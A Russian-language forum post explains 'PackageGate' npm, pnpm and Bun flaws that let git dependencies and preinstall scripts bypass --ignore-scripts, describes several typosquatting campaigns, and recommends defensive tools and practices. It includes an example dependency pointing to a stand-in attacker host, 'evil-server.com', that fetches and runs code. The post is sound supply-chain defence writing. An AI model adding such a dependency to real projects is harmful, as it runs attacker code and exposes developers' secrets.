Перейти к содержанию
  • Лента
  • Категории
  • Последние
  • Метки
  • Популярные
  • Пользователи
  • Группы
Свернуть
exlends
Категории
  1. Главная
  2. Категории
  3. Языки программирования
  4. JavaScript
  5. PackageGate и zero-day уязвимости npm в 2026: защита от git-зависимостей и preinstall

PackageGate и zero-day уязвимости npm в 2026: защита от git-зависимостей и preinstall

Запланировано Прикреплена Закрыта Перенесена JavaScript
packagegatenpm уязвимостиzero-day
1 Сообщения 1 Постеры 52 Просмотры
  • Сначала старые
  • Сначала новые
  • По количеству голосов
Ответить
  • Ответить, создав новую тему
Авторизуйтесь, чтобы ответить
Эта тема была удалена. Только пользователи с правом управления темами могут её видеть.
  • hannadevH Не в сети
    hannadevH Не в сети
    hannadev
    написал в отредактировано
    #1

    Обложка: PackageGate и zero-day уязвимости npm в 2026: защита проектов от компрометации через git-зависимости и preinstall-скрипты

    PackageGate в 2026 году - это шесть zero-day уязвимостей в npm, pnpm, vlt и Bun. Они позволяют обходить флаги вроде --ignore-scripts через git-зависимости и preinstall-скрипты. Разберём, как это работает и как защитить проекты от компрометации.

    Такие атаки крадут секреты, CI-токены и API-ключи прямо из dev-окружения. Защита нужна всем, кто юзает npm ежедневно. Пройдёмся по примерам, уязвимостям и инструментам, чтоб не попасться на хук.

    PackageGate: обход защит через git-зависимости

    PackageGate стартовал в январе 2026. Злоумышленники нашли дыру: npm не патчит обход --ignore-scripts через git-зависимости в .npmrc. Ты добавляешь зависимость из git-репо, и вредоносный preinstall-скрипт запускается, даже если флаг игнора скриптов стоит. Это не видно стандартным сканерам вроде npm audit.

    npm заявил, что это ‘ожидаемое поведение’ - ответственность на юзерах. pnpm, vlt и Bun частично пофиксили свои CVE-2025-69263/69264. Но в реале это значит, что любой git-хаб с малварью может внедриться в твой бандл. Пример: зависимость “git+https://evil-server.com/malicious.git” тянет код с сервера атакующего и выполняет его на твоей машине.

    • Git-обход в действии: preinstall из git-репо игнорирует --ignore-scripts, потому что скрипт не в пакете, а подгружается динамически.
    • Нюанс: .npmrc позволяет указать репо без локального кода, сканеры слепы.
    • Последствия: Кража SSH-ключей, токенов, истории VSCode.
    Уязвимость Менеджер Статус Риск
    Обход --ignore-scripts npm Не патчится Высокий
    Lockfile коллизии pnpm/vlt/Bun Патчи вышли Средний
    Preinstall из git Все Открыто Критический

    Typosquatting и компрометация preinstall-скриптов

    Typosquatting - классика: поддельные пакеты вроде ambar-src вместо ember-source. В феврале 2026 такой фейк скачали 50k раз, malware активировался на npm install через preinstall. Ещё SANDWORM_MODE в 19 пакетах крадёт крипто-ключи и CI-секреты.

    Preinstall-скрипты - киллер-фича для атак. Они бегут до установки, под видом легитимных команд. StegaBin в конце февраля: 26 пакетов-имитаторов express, lodash, jsonwebtoken. Расшифровывают стеганографию из Pastebin, тянут RAT и девять модулей для сканирования. TruffleHog ищет секреты в твоём проекте автоматически.

    • Примеры атак:
      • ambar-src: 50k+ установок, malware в preinstall.
      • StegaBin: Typosquatting + RAT, крадёт VSCode config, SSH, Git history.
      • PhantomRaven: 88 пакетов с git-зависимостями, динамическая подгрузка малвари.
    Метод Пример Что крадёт
    Typosquatting ambar-src Крипто-ключи
    Preinstall RAT StegaBin SSH, токены, буфер
    Аккаунт-хайджек debug, chalk API-ключи AI

    Защита проектов: инструменты и практики

    Начни с npm audit и --ignore-scripts по дефолту. Но это не спасёт от git-обходов - юзай lockfile с SHA-512, проверяй package-lock.json на коллизии SHA-1. Включи .npmrc с strict-peer-deps и fund=false, чтоб не тянуть подозрительное.

    Ключ - аудит зависимостей: socket.dev или snyk сканируют git-зависимости и preinstall. В CI добавь steps: git clone без подмодулей, npm ci с --dry-run. Для фронта/ноды - рендери deps в контейнере, без root. Ещё: 2FA на npm-аккаунтах, scoped пакеты только trusted.

    • Базовые шаги:
      1. npm install --ignore-scripts --no-fund всегда.
      2. Аудит: npm audit --audit-level moderate, фиксить auto.
      3. Lockfile: генерируй с npm ci --strict-peer-deps.
      4. Сканеры: socket, ossf-scorecard для git-deps.
    Инструмент Что ловит Плюсы
    npm audit Known vulns Быстро, built-in
    Socket.dev Git/preinstall Обход PackageGate
    Snyk Typosquatting CI-интеграция
    1 ответ Последний ответ
    0

    Здравствуйте! Похоже, вас заинтересовала эта беседа, но у вас ещё нет аккаунта.

    Надоело каждый раз пролистывать одни и те же посты? Зарегистрировав аккаунт, вы всегда будете возвращаться на ту же страницу, где были раньше, и сможете выбирать, получать ли уведомления о новых ответах (по электронной почте или в виде push-уведомлений). Вы также сможете сохранять закладки и ставить лайки постам, чтобы выразить свою благодарность другим участникам сообщества.

    С вашими комментариями этот пост мог бы стать ещё лучше 💗

    Зарегистрироваться Войти

    Категории

    • Главная
    • Новости
    • Фронтенд
    • Бекенд
    • Языки программирования

    Контакты

    • Сотрудничество
    • info@exlends.com

    © 2024 - 2026 ExLends, Inc. Все права защищены.

    Политика конфиденциальности
    • Войти

    • Нет учётной записи? Зарегистрироваться

    • Войдите или зарегистрируйтесь для поиска.
    • Первое сообщение
      Последнее сообщение
    0
    • Лента
    • Категории
    • Последние
    • Метки
    • Популярные
    • Пользователи
    • Группы